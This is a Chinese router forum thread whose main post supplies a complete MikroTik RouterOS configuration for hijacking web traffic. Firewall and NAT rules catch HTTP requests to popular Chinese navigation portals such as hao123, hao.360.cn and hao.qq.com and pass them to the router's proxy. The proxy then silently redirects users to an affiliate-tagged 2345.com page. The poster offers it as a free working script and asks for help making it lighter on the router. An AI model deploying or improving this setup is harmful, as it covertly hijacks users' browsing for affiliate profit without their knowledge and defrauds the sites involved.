找回密码
 注册

QQ登录

只需一步,快速开始

搜索
楼主: wwwkwgj

[脚本] 完美劫挂各大导航跳转到你推广页面.也是是URL重定向

  [复制链接]
发表于 2016-4-10 09:41:28 | 显示全部楼层
我来个免费的吧!这是我在网上找到的,就是用久了,路由器带不动,不知道哪位高手可以帮忙改一改,让服务器轻松点。

/ip firewall filter
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward comment=\
    "\B8\FC\B6\E0\CD\F8\D7\AC\BC\D3QQ\C8\BA:2850566" content=\
    "Host: www.hao123.com" disabled=no dst-port=80 protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: hao123.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: hao.360.cn" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: tao123.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: www.tao123.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: 2012.hao.qq.com" disabled=no dst-port=\
    80 protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: i.firefoxchina.cn" disabled=no \
    dst-port=80 protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: www.265.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: www.256.cc" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: hao.163.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: hao.qq.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: 123.sogou.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: 123.duba.net" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: www.114la.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: 114la.com" disabled=no dst-port=80 \
    protocol=tcp
add action=add-dst-to-address-list address-list=tall address-list-timeout=\
    2w1d chain=forward content="Host: 123.duba.net" disabled=no dst-port=80 \
    protocol=tcp


/ip firewall nat
add action=redirect chain=dstnat comment=\
    "\B8\FC\B6\E0\CD\F8\D7\AC\BC\D3QQ\C8\BA:2850566" disabled=no \
    dst-address-list=tall dst-port=80 protocol=tcp src-address-list=!butiao \
    to-ports=9999

/ip proxy
set always-from-cache=no cache-administrator=webmaster cache-hit-dscp=4 \
    cache-on-disk=no enabled=yes max-cache-size=none max-client-connections=\
    2600 max-fresh-time=3d max-server-connections=2600 parent-proxy=0.0.0.0 \
    parent-proxy-port=0 port=9797,9999 serialize-connections=no src-address=\
    0.0.0.0
/ip proxy access
add action=deny comment="\B8\FC\B6\E0\CD\F8\D7\AC\BC\D3QQ\C8\BA:2850566" \
    disabled=no dst-host=www.hao123.com dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=hao123.com dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=hao.360.cn dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=www.tao123.com dst-port="" local-port=\
    9999 redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=tao123.com dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=123.duba.net dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=www.114la.com dst-port="" local-port=\
    9999 redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=114la.com dst-port="" local-port=\
    9999 redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=123.sogou.com dst-port="" local-port=\
    9999 redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=123.duba.net dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=hao.qq.com dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=hao.163.com dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=www.256.cc dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=www.265.com dst-port="" local-port=9999 \
    redirect-to="www.2345.com/\?k49321651 "
add action=deny disabled=no dst-host=2012.hao.qq.com dst-port="" local-port=\
    9999 redirect-to="www.2345.com/\?k49321651 "


add action=deny disabled=no dst-host=i.firefoxchina.cn dst-port="" \
    local-port=9999 redirect-to="www.2345.com/\?k49321651 "
routeros
回复

使用道具 举报

发表于 2016-7-25 14:28:06 | 显示全部楼层
希望现在还能用的上
routeros
回复

使用道具 举报

发表于 2016-8-23 15:13:45 | 显示全部楼层
路过,扔下块香蕉皮。。。
routeros
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|Archiver|手机版|小黑屋|软路由 ( 渝ICP备15001194号-1|渝公网安备 50011602500124号 )

GMT+8, 2024-12-22 22:13 , Processed in 0.172083 second(s), 7 queries , Gzip On, Redis On.

Powered by Discuz! X3.5 Licensed

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表